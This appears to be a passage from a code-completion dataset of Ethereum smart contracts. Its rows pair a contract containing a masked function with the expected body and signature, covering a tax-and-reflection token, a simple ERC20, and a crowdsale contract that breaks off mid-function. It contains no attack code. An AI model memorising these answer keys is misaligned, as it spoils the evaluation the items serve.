days, "Cannot set a new pair this week!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; antiSnipe.setLpPair(pair, true); } } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function isExcludedFromDividends(address account) public view returns(bool) { return _isExcludedFromDividends[account]; } function isExcludedFromLimits(address account) public view returns (bool) { return _isExcludedFromLimits[account]; } function setExcludedFromLimits(address account, bool enabled) external onlyOwner { _isExcludedFromLimits[account] = enabled; } function setDividendExcluded(address holder, bool enabled) public onlyOwner { require(holder != address(this) && holder != lpPair); _isExcludedFromDividends[holder] = enabled; if (enabled) { reflector.tally(holder, 0); } else { reflector.tally(holder, _tOwned[holder]); } } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = (_tTotal * percent) / divisor; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply."); _maxWalletSize = (_tTotal * percent) / divisor; } function getMaxTX() public view returns (uint256) { return _maxTxAmount / (10**_decimals); } function getMaxWallet() public view returns (uint256) { return _maxWalletSize / (10**_decimals); } function _hasLimits(address from, address to) internal view returns (bool) { return from != _owner && to != _owner && tx.origin != _owner && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool buy = false; bool sell = false; bool other = false; if (lpPairs[from]) { buy = true; } else if (lpPairs[to]) { sell = true; } else { other = true; } if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if(buy || sell){ if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(to != address(dexRouter) && !sell) { if (!_isExcludedFromLimits[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize."); } } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } return _finalizeTransfer(from, to, amount, takeFee, buy, sell, other); } function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee, bool buy, bool sell, bool other) internal returns (bool) { if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } if(_hasLimits(from, to)) { bool checked; try antiSnipe.checkUser(from, to, amount) returns (bool check) { checked = check; } catch { revert(); } if(!checked) { revert(); } } _tOwned[from] -= amount; if (sell) { if (!inSwap && contractSwapEnabled ) { if (lastSwap + contractSwapTimer < block.timestamp) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } contractSwap(contractTokenBalance); lastSwap = block.timestamp; } } } } uint256 amountReceived = amount; if (takeFee) { amountReceived = takeTaxes(from, amount, buy, sell, other); } _tOwned[to] += amountReceived; processTokenReflect(from, to); emit Transfer(from, to, amountReceived); return true; } function processTokenReflect(address from, address to) internal { if (!_isExcludedFromDividends[from]) { try reflector.tally(from, _tOwned[from]) {} catch {} } if (!_isExcludedFromDividends[to]) { try reflector.tally(to, _tOwned[to]) {} catch {} } if (processReflect) { try reflector.cashout(reflectorGas) {} catch {} } } function _basicTransfer(address from, address to, uint256 amount) internal returns (bool) { _tOwned[from] -= amount; _tOwned[to] += amount; emit Transfer(from, to, amount); return true; } function takeTaxes(address from, uint256 amount, bool buy, bool sell, bool other) internal returns (uint256) { uint256 currentFee; if (block.timestamp < boostedTaxTimestampEnd) { if (buy) { currentFee = _taxRates.boostBuyFee; } else if (sell) { currentFee = _taxRates.boostSellFee; } else { currentFee = _taxRates.boostTransferFee; } } else { if (buy) { currentFee = _taxRates.buyFee; } else if (sell) { currentFee = _taxRates.sellFee; } else { currentFee = _taxRates.transferFee; } } if (currentFee == 0) { return amount; } uint256 feeAmount = amount * currentFee / masterTaxDivisor; _tOwned[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); return amount - feeAmount; } function contractSwap(uint256 contractTokenBalance) internal swapping {<FILL_FUNCTION_BODY> } function buybackAndBurn(uint256 boostTime, uint256 amount, uint256 multiplier) external onlyOwner { require(address(this).balance >= amount * 10**multiplier); address[] memory path = new address[](2); path[0] = dexRouter.WETH(); path[1] = address(this); dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens {value: amount*10**multiplier} ( 0, path, DEAD, block.timestamp ); setBoostedTaxes(boostTime); } function setBoostedTaxesEnabled(bool enabled) external onlyOwner { if(!enabled) { boostedTaxTimestampEnd = 0; } boostedTaxesEnabled = enabled; } function setBoostedTaxes(uint256 timeInSeconds) public { require(msg.sender == address(this) || msg.sender == _owner); require(timeInSeconds <= 24 hours); boostedTaxTimestampEnd = block.timestamp + timeInSeconds; } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; if(address(antiSnipe) == address(0)) { antiSnipe = AntiSnipe(address(this)); } if(address(reflector) == address(0)) { reflector = Cashier(address(this)); } contractSwapEnabled = true; emit ContractSwapEnabledUpdated(true); } } function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external { require(accounts.length == amounts.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= amounts[i]); _finalizeTransfer(msg.sender, accounts[i], amounts[i]*10**_decimals, false, false, false, true); } } function manualDeposit() external onlyOwner { try reflector.load{value: address(this).balance}() {} catch {} } }
contract KingFlotamalon is IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isExcludedFromLimits; mapping (address => bool) private _isExcludedFromDividends; mapping (address => bool) private _liquidityHolders; uint256 constant private startingSupply = 1_000_000_000_000; string constant private _name = "King Flotamalon"; string constant private _symbol = "KF"; uint8 constant private _decimals = 9; uint256 constant private _tTotal = startingSupply * (10 ** _decimals); struct Fees { uint16 buyFee; uint16 sellFee; uint16 transferFee; uint16 boostBuyFee; uint16 boostSellFee; uint16 boostTransferFee; } struct Ratios { uint16 rewards; uint16 liquidity; uint16 marketing; uint16 buyback; uint16 dev; uint16 winner; uint16 total; } Fees public _taxRates = Fees({ buyFee: 1500, sellFee: 2500, transferFee: 0, boostBuyFee: 2500, boostSellFee: 2500, boostTransferFee: 2500 }); Ratios public _ratios = Ratios({ rewards: 15, liquidity: 5, marketing: 15, buyback: 5, dev: 0, winner: 0, total: 40 }); uint256 constant public maxBuyTaxes = 2500; uint256 constant public maxSellTaxes = 2500; uint256 constant public maxTransferTaxes = 2500; uint256 constant masterTaxDivisor = 10000; IRouter02 public dexRouter; address public lpPair; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; address constant private ZERO = 0x0000000000000000000000000000000000000000; struct TaxWallets { address payable marketing; address payable dev; address payable winner; } TaxWallets public _taxWallets = TaxWallets({ marketing: payable(0x2A034fc3c1552Ab065b152d4560C7eD3e254942C), dev: payable(0x7A24FFFb6d565a3650EEE3aCDA64eA74b1Cc1D0C), winner: payable(address(0)) }); uint256 private _maxTxAmount = (_tTotal * 100) / 100; uint256 private _maxWalletSize = (_tTotal * 2) / 100; Cashier reflector; uint256 reflectorGas = 300000; bool inSwap; bool public contractSwapEnabled = false; uint256 public contractSwapTimer = 10 seconds; uint256 private lastSwap; uint256 public swapThreshold = (_tTotal * 5) / 10000; uint256 public swapAmount = (_tTotal * 20) / 10000; bool public processReflect = false; bool public tradingEnabled = false; bool public _hasLiqBeenAdded = false; AntiSnipe antiSnipe; bool public boostedTaxesEnabled = false; uint256 public boostedTaxTimestampEnd; modifier swapping() { inSwap = true; _; inSwap = false; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ContractSwapEnabledUpdated(bool enabled); event AutoLiquify(uint256 amountBNB, uint256 amount); event SniperCaught(address sniperAddress); constructor () payable { // Set the owner. _owner = msg.sender; _tOwned[_owner] = _tTotal; emit Transfer(ZERO, _owner, _tTotal); emit OwnershipTransferred(address(0), _owner); if (block.chainid == 56) { dexRouter = IRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E); } else if (block.chainid == 97) { dexRouter = IRouter02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); } else if (block.chainid == 1 || block.chainid == 4) { dexRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else if (block.chainid == 43114) { dexRouter = IRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4); } else if (block.chainid == 250) { dexRouter = IRouter02(0xF491e7B69E4244ad4002BC14e878a34207E38c29); } else { revert(); } lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _approve(_owner, address(dexRouter), type(uint256).max); _approve(address(this), address(dexRouter), type(uint256).max); _isExcludedFromFees[_owner] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _isExcludedFromDividends[_owner] = true; _isExcludedFromDividends[lpPair] = true; _isExcludedFromDividends[address(this)] = true; _isExcludedFromDividends[DEAD] = true; _isExcludedFromDividends[ZERO] = true; } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and renouncements. // This allows for removal of ownership privileges from the owner once renounced or transferred. function transferOwner(address newOwner) external onlyOwner { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); _isExcludedFromFees[_owner] = false; _isExcludedFromDividends[_owner] = false; _isExcludedFromFees[newOwner] = true; _isExcludedFromDividends[newOwner] = true; if(_tOwned[_owner] > 0) { _transfer(_owner, newOwner, _tOwned[_owner]); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner { _isExcludedFromFees[_owner] = false; _isExcludedFromDividends[_owner] = false; _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== receive() external payable {} function totalSupply() external pure override returns (uint256) { if (_tTotal == 0) { revert(); } return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return _owner; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveContractContingency() public onlyOwner returns (bool) { _approve(address(this), address(dexRouter), type(uint256).max); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transfer(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function setBlacklistEnabled(address account, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabled(account, enabled); setDividendExcluded(account, enabled); } function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabledMultiple(accounts, enabled); } function isBlacklisted(address account) public view returns (bool) { return antiSnipe.isBlacklisted(account); } function setInitializers(address aInitializer, address cInitializer) external onlyOwner { require(!_hasLiqBeenAdded); require(cInitializer != address(this) && aInitializer != address(this) && cInitializer != aInitializer); reflector = Cashier(cInitializer); antiSnipe = AntiSnipe(aInitializer); } function removeSniper(address account) external onlyOwner { antiSnipe.removeSniper(account); } function removeBlacklisted(address account) external onlyOwner { antiSnipe.removeBlacklisted(account); } function setProtectionSettings(bool _antiSnipe, bool _antiGas, bool _antiBlock, bool _antiSpecial) external onlyOwner { antiSnipe.setProtections(_antiSnipe, _antiGas, _antiBlock, _antiSpecial); } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 250, "Too low."); antiSnipe.setGasPriceLimit(gas); } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); require(_hasLiqBeenAdded, "Liquidity must be added."); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.setLaunch(lpPair, uint32(block.number), uint64(block.timestamp), _decimals) {} catch {} try reflector.initialize() {} catch {} tradingEnabled = true; swapThreshold = (balanceOf(lpPair) * 5) / 10000; swapAmount = (balanceOf(lpPair) * 1) / 1000; } function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes); _taxRates.buyFee = buyFee; _taxRates.sellFee = sellFee; _taxRates.transferFee = transferFee; } function setBoostedTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes); _taxRates.boostBuyFee = buyFee; _taxRates.boostSellFee = sellFee; _taxRates.boostTransferFee = transferFee; } function setRatios(uint16 rewards, uint16 liquidity, uint16 marketing, uint16 dev, uint16 buyback, uint16 winner) external onlyOwner { if(winner > 0) { require(_taxWallets.winner != address(0)); } _ratios.rewards = rewards; _ratios.liquidity = liquidity; _ratios.marketing = marketing; _ratios.dev = dev; _ratios.buyback = buyback; _ratios.winner = winner; _ratios.total = rewards + liquidity + marketing + dev + buyback + winner; } function setWallets(address payable marketing, address payable dev) external onlyOwner { _taxWallets.marketing = payable(marketing); _taxWallets.dev = payable(dev); } function setWinnerWallet(address payable wallet) external onlyOwner { _taxWallets.winner = wallet; } function setContractSwapSettings(bool _enabled, bool processReflectEnabled) external onlyOwner { contractSwapEnabled = _enabled; processReflect = processReflectEnabled; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; contractSwapTimer = time; } function setReflectionCriteria(uint256 _minPeriod, uint256 _minReflection, uint256 minReflectionMultiplier) external onlyOwner { _minReflection = _minReflection * 10**minReflectionMultiplier; reflector.setReflectionCriteria(_minPeriod, _minReflection); } function setReflectorSettings(uint256 gas) external onlyOwner { require(gas < 750000); reflectorGas = gas; } function giveMeWelfarePlease() external { reflector.giveMeWelfarePlease(msg.sender); } function getTotalReflected() external view returns (uint256) { return reflector.getTotalDistributed(); } function getUserInfo(address shareholder) external view returns (string memory, string memory, string memory, string memory) { return reflector.getShareholderInfo(shareholder); } function getUserRealizedGains(address shareholder) external view returns (uint256) { return reflector.getShareholderRealized(shareholder); } function getUserUnpaidEarnings(address shareholder) external view returns (uint256) { return reflector.getPendingRewards(shareholder); } function setNewRouter(address newRouter) external onlyOwner { IRouter02 _newRouter = IRouter02(newRouter); address get_pair = IFactoryV2(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IFactoryV2(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), address(dexRouter), type(uint256).max); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; antiSnipe.setLpPair(pair, false); } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 3 days, "Cannot set a new pair this week!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; antiSnipe.setLpPair(pair, true); } } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function isExcludedFromDividends(address account) public view returns(bool) { return _isExcludedFromDividends[account]; } function isExcludedFromLimits(address account) public view returns (bool) { return _isExcludedFromLimits[account]; } function setExcludedFromLimits(address account, bool enabled) external onlyOwner { _isExcludedFromLimits[account] = enabled; } function setDividendExcluded(address holder, bool enabled) public onlyOwner { require(holder != address(this) && holder != lpPair); _isExcludedFromDividends[holder] = enabled; if (enabled) { reflector.tally(holder, 0); } else { reflector.tally(holder, _tOwned[holder]); } } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = (_tTotal * percent) / divisor; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply."); _maxWalletSize = (_tTotal * percent) / divisor; } function getMaxTX() public view returns (uint256) { return _maxTxAmount / (10**_decimals); } function getMaxWallet() public view returns (uint256) { return _maxWalletSize / (10**_decimals); } function _hasLimits(address from, address to) internal view returns (bool) { return from != _owner && to != _owner && tx.origin != _owner && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool buy = false; bool sell = false; bool other = false; if (lpPairs[from]) { buy = true; } else if (lpPairs[to]) { sell = true; } else { other = true; } if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if(buy || sell){ if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(to != address(dexRouter) && !sell) { if (!_isExcludedFromLimits[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize."); } } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } return _finalizeTransfer(from, to, amount, takeFee, buy, sell, other); } function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee, bool buy, bool sell, bool other) internal returns (bool) { if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } if(_hasLimits(from, to)) { bool checked; try antiSnipe.checkUser(from, to, amount) returns (bool check) { checked = check; } catch { revert(); } if(!checked) { revert(); } } _tOwned[from] -= amount; if (sell) { if (!inSwap && contractSwapEnabled ) { if (lastSwap + contractSwapTimer < block.timestamp) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } contractSwap(contractTokenBalance); lastSwap = block.timestamp; } } } } uint256 amountReceived = amount; if (takeFee) { amountReceived = takeTaxes(from, amount, buy, sell, other); } _tOwned[to] += amountReceived; processTokenReflect(from, to); emit Transfer(from, to, amountReceived); return true; } function processTokenReflect(address from, address to) internal { if (!_isExcludedFromDividends[from]) { try reflector.tally(from, _tOwned[from]) {} catch {} } if (!_isExcludedFromDividends[to]) { try reflector.tally(to, _tOwned[to]) {} catch {} } if (processReflect) { try reflector.cashout(reflectorGas) {} catch {} } } function _basicTransfer(address from, address to, uint256 amount) internal returns (bool) { _tOwned[from] -= amount; _tOwned[to] += amount; emit Transfer(from, to, amount); return true; } function takeTaxes(address from, uint256 amount, bool buy, bool sell, bool other) internal returns (uint256) { uint256 currentFee; if (block.timestamp < boostedTaxTimestampEnd) { if (buy) { currentFee = _taxRates.boostBuyFee; } else if (sell) { currentFee = _taxRates.boostSellFee; } else { currentFee = _taxRates.boostTransferFee; } } else { if (buy) { currentFee = _taxRates.buyFee; } else if (sell) { currentFee = _taxRates.sellFee; } else { currentFee = _taxRates.transferFee; } } if (currentFee == 0) { return amount; } uint256 feeAmount = amount * currentFee / masterTaxDivisor; _tOwned[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); return amount - feeAmount; } <FILL_FUNCTION> function buybackAndBurn(uint256 boostTime, uint256 amount, uint256 multiplier) external onlyOwner { require(address(this).balance >= amount * 10**multiplier); address[] memory path = new address[](2); path[0] = dexRouter.WETH(); path[1] = address(this); dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens {value: amount*10**multiplier} ( 0, path, DEAD, block.timestamp ); setBoostedTaxes(boostTime); } function setBoostedTaxesEnabled(bool enabled) external onlyOwner { if(!enabled) { boostedTaxTimestampEnd = 0; } boostedTaxesEnabled = enabled; } function setBoostedTaxes(uint256 timeInSeconds) public { require(msg.sender == address(this) || msg.sender == _owner); require(timeInSeconds <= 24 hours); boostedTaxTimestampEnd = block.timestamp + timeInSeconds; } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; if(address(antiSnipe) == address(0)) { antiSnipe = AntiSnipe(address(this)); } if(address(reflector) == address(0)) { reflector = Cashier(address(this)); } contractSwapEnabled = true; emit ContractSwapEnabledUpdated(true); } } function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external { require(accounts.length == amounts.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= amounts[i]); _finalizeTransfer(msg.sender, accounts[i], amounts[i]*10**_decimals, false, false, false, true); } } function manualDeposit() external onlyOwner { try reflector.load{value: address(this).balance}() {} catch {} } }
Ratios memory ratios = _ratios; if (ratios.total == 0) { return; } if(_allowances[address(this)][address(dexRouter)] != type(uint256).max) { _allowances[address(this)][address(dexRouter)] = type(uint256).max; } uint256 toLiquify = ((contractTokenBalance * ratios.liquidity) / (ratios.total)) / 2; uint256 swapAmt = contractTokenBalance - toLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); uint256 initial = address(this).balance; dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmt, 0, path, address(this), block.timestamp ); uint256 amtBalance = address(this).balance - initial; uint256 liquidityBalance = (amtBalance * toLiquify) / swapAmt; if (toLiquify > 0) { dexRouter.addLiquidityETH{value: liquidityBalance}( address(this), toLiquify, 0, 0, DEAD, block.timestamp ); emit AutoLiquify(liquidityBalance, toLiquify); } amtBalance -= liquidityBalance; ratios.total -= ratios.liquidity; uint256 rewardsBalance = (amtBalance * ratios.rewards) / ratios.total; uint256 devBalance = (amtBalance * ratios.dev) / ratios.total; uint256 buybackBalance = (amtBalance * ratios.buyback) / ratios.total; uint256 winnerBalance = (amtBalance * ratios.winner) / ratios.total; uint256 marketingBalance = amtBalance - (rewardsBalance + devBalance + buybackBalance + winnerBalance); if (ratios.rewards > 0) { try reflector.load{value: rewardsBalance}() {} catch {} } if(ratios.dev > 0){ _taxWallets.dev.transfer(devBalance); } if(ratios.marketing > 0){ _taxWallets.marketing.transfer(marketingBalance); } if(ratios.winner > 0) { _taxWallets.winner.transfer(winnerBalance); }
function contractSwap(uint256 contractTokenBalance) internal swapping
function contractSwap(uint256 contractTokenBalance) internal swapping
36696
SCash
null
contract SCash is ERC20 { constructor() ERC20("S Cash", "SCH") public {<FILL_FUNCTION_BODY> } }
contract SCash is ERC20 { <FILL_FUNCTION> }
_mint(msg.sender, 730584000000000000000000000);
constructor() ERC20("S Cash", "SCH") public
constructor() ERC20("S Cash", "SCH") public
89047
ViolaCrowdsale
transferTokens
contract ViolaCrowdsale is Ownable { using SafeMath for uint256; enum State { Deployed, PendingStart, Active, Paused, Ended, Completed } //Status of contract State public status = State.Deployed; // The token being sold VLTToken public violaToken; //For keeping track of whitelist address. cap >0 = whitelisted mapping(address=>uint) public maxBuyCap; //For checking if address passed KYC mapping(address => bool)public addressKYC; //Total wei sum an address has invested mapping(address=>uint) public investedSum; //Total violaToken an address is allocated mapping(address=>uint) public tokensAllocated; //Total violaToken an address purchased externally is allocated mapping(address=>uint) public externalTokensAllocated; //Total bonus violaToken an address is entitled after vesting mapping(address=>uint) public bonusTokensAllocated; //Total bonus violaToken an address purchased externally is entitled after vesting mapping(address=>uint) public externalBonusTokensAllocated; //Store addresses that has registered for crowdsale before (pushed via setWhitelist) //Does not mean whitelisted as it can be revoked. Just to track address for loop address[] public registeredAddress; //Total amount not approved for withdrawal uint256 public totalApprovedAmount = 0; //Start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; uint256 public bonusVestingPeriod = 60 days; /** * Note all values are calculated in wei(uint256) including token amount * 1 ether = 1000000000000000000 wei * 1 viola = 1000000000000000000 vi lawei */ //Address where funds are collected address public wallet; //Min amount investor can purchase uint256 public minWeiToPurchase; // how many token units *in wei* a buyer gets *per wei* uint256 public rate; //Extra bonus token to give *in percentage* uint public bonusTokenRateLevelOne = 20; uint public bonusTokenRateLevelTwo = 15; uint public bonusTokenRateLevelThree = 10; uint public bonusTokenRateLevelFour = 0; //Total amount of tokens allocated for crowdsale uint256 public totalTokensAllocated; //Total amount of tokens reserved from external sources //Sub set of totalTokensAllocated ( totalTokensAllocated - totalReservedTokenAllocated = total tokens allocated for purchases using ether ) uint256 public totalReservedTokenAllocated; //Numbers of token left above 0 to still be considered sold uint256 public leftoverTokensBuffer; /** * event for front end logging */ event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount, uint256 bonusAmount); event ExternalTokenPurchase(address indexed purchaser, uint256 amount, uint256 bonusAmount); event ExternalPurchaseRefunded(address indexed purchaser, uint256 amount, uint256 bonusAmount); event TokenDistributed(address indexed tokenReceiver, uint256 tokenAmount); event BonusTokenDistributed(address indexed tokenReceiver, uint256 tokenAmount); event TopupTokenAllocated(address indexed tokenReceiver, uint256 amount, uint256 bonusAmount); event CrowdsalePending(); event CrowdsaleStarted(); event CrowdsaleEnded(); event BonusRateChanged(); event Refunded(address indexed beneficiary, uint256 weiAmount); //Set inital arguments of the crowdsale function initialiseCrowdsale (uint256 _startTime, uint256 _rate, address _tokenAddress, address _wallet) onlyOwner external { require(status == State.Deployed); require(_startTime >= now); require(_rate > 0); require(address(_tokenAddress) != address(0)); require(_wallet != address(0)); startTime = _startTime; endTime = _startTime + 30 days; rate = _rate; wallet = _wallet; violaToken = VLTToken(_tokenAddress); status = State.PendingStart; CrowdsalePending(); } /** * Crowdsale state functions * To track state of current crowdsale */ // To be called by Ethereum alarm clock or anyone //Can only be called successfully when time is valid function startCrowdsale() external { require(withinPeriod()); require(violaToken != address(0)); require(getTokensLeft() > 0); require(status == State.PendingStart); status = State.Active; CrowdsaleStarted(); } //To be called by owner or contract //Ends the crowdsale when tokens are sold out function endCrowdsale() public { if (!tokensHasSoldOut()) { require(msg.sender == owner); } require(status == State.Active); bonusVestingPeriod = now + 60 days; status = State.Ended; CrowdsaleEnded(); } //Emergency pause function pauseCrowdsale() onlyOwner external { require(status == State.Active); status = State.Paused; } //Resume paused crowdsale function unpauseCrowdsale() onlyOwner external { require(status == State.Paused); status = State.Active; } function completeCrowdsale() onlyOwner external { require(hasEnded()); require(violaToken.allowance(owner, this) == 0); status = State.Completed; _forwardFunds(); assert(this.balance == 0); } function burnExtraTokens() onlyOwner external { require(hasEnded()); uint256 extraTokensToBurn = violaToken.allowance(owner, this); violaToken.burnFrom(owner, extraTokensToBurn); assert(violaToken.allowance(owner, this) == 0); } // send ether to the fund collection wallet function _forwardFunds() internal { wallet.transfer(this.balance); } function partialForwardFunds(uint _amountToTransfer) onlyOwner external { require(status == State.Ended); require(_amountToTransfer < totalApprovedAmount); totalApprovedAmount = totalApprovedAmount.sub(_amountToTransfer); wallet.transfer(_amountToTransfer); } /** * Setter functions for crowdsale parameters * Only owner can set values */ function setLeftoverTokensBuffer(uint256 _tokenBuffer) onlyOwner external { require(_tokenBuffer > 0); require(getTokensLeft() >= _tokenBuffer); leftoverTokensBuffer = _tokenBuffer; } //Set the ether to token rate function setRate(uint _rate) onlyOwner external { require(_rate > 0); rate = _rate; } function setBonusTokenRateLevelOne(uint _rate) onlyOwner external { //require(_rate > 0); bonusTokenRateLevelOne = _rate; BonusRateChanged(); } function setBonusTokenRateLevelTwo(uint _rate) onlyOwner external { //require(_rate > 0); bonusTokenRateLevelTwo = _rate; BonusRateChanged(); } function setBonusTokenRateLevelThree(uint _rate) onlyOwner external { //require(_rate > 0); bonusTokenRateLevelThree = _rate; BonusRateChanged(); } function setBonusTokenRateLevelFour(uint _rate) onlyOwner external { //require(_rate > 0); bonusTokenRateLevelFour = _rate; BonusRateChanged(); } function setMinWeiToPurchase(uint _minWeiToPurchase) onlyOwner external { minWeiToPurchase = _minWeiToPurchase; } /** * Whitelisting and KYC functions * Whitelisted address can buy tokens, KYC successful purchaser can claim token. Refund if fail KYC */ //Set the amount of wei an address can purchase up to //@dev Value of 0 = not whitelisted //@dev cap is in *18 decimals* ( 1 token = 1*10^18) function setWhitelistAddress( address _investor, uint _cap ) onlyOwner external { require(_cap > 0); require(_investor != address(0)); maxBuyCap[_investor] = _cap; registeredAddress.push(_investor); //add event 